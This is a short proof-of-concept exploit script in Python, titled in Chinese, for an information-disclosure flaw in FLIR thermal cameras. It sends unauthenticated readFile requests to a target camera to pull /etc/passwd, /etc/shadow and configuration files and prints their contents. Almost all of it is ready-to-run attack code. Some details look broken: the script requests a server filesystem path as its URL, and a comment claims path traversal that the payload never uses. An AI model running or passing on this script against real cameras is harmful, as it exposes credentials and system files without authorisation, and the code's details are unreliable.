CVE-2017-20212 FLIR热成像摄像头固件信息泄露漏洞

import requests import sys # CVE-2017-20212 PoC - FLIR Thermal Camera Information Disclosure # Target: /var/www/data/controllers/api/xml.php # Vulnerability: Unverified file path parameter in readFile() function def exploit(target_ip, target_port=80): """ Exploit the unauthenticated file read vulnerability in FLIR cameras. Args: target_ip: Target camera IP address target_port: Target port (default: 80) Returns: bool: True if exploitation successful, False otherwise """ base_url = f"http://{target_ip}:{target_port}" # Target endpoint with vulnerable readFile() function endpoint = "/var/www/data/controllers/api/xml.php" # Files to attempt to read (common sensitive files) files_to_read = [ "/etc/passwd", "/etc/shadow", "/var/www/html/config.php", "/etc/httpd/conf/httpd.conf", "/var/www/data/config/system.conf" ] print(f"[*] Targeting FLIR Camera at {target_ip}:{target_port}") print(f"[*] Exploiting endpoint: {endpoint}") print("-" * 60) for file_path in files_to_read: try: # Construct exploit payload with path traversal # The readFile() function accepts 'file' parameter params = { "action": "readFile", "file": file_path } # Send crafted request response = requests.get( f"{base_url}{endpoint}", params=params, timeout=10, verify=False ) # Check if file content was returned if response.status_code == 200 and len(response.content) > 0: print(f"[+] SUCCESS: Read {file_path}") print(f"[+] Content length: {len(response.content)} bytes") print(f"[+] First 200 bytes:\n{response.text[:200]}") print("-" * 60) return True else: print(f"[-] Failed to read: {file_path}") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {file_path}: {str(e)}") return False def main(): if len(sys.argv) < 2: print("Usage: python cve-2017-20212.py <target_ip> [port]") print("Example: python cve-2017-20212.py 192.168.1.100 80") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target_ip, target_port) if __name__ == "__main__": main()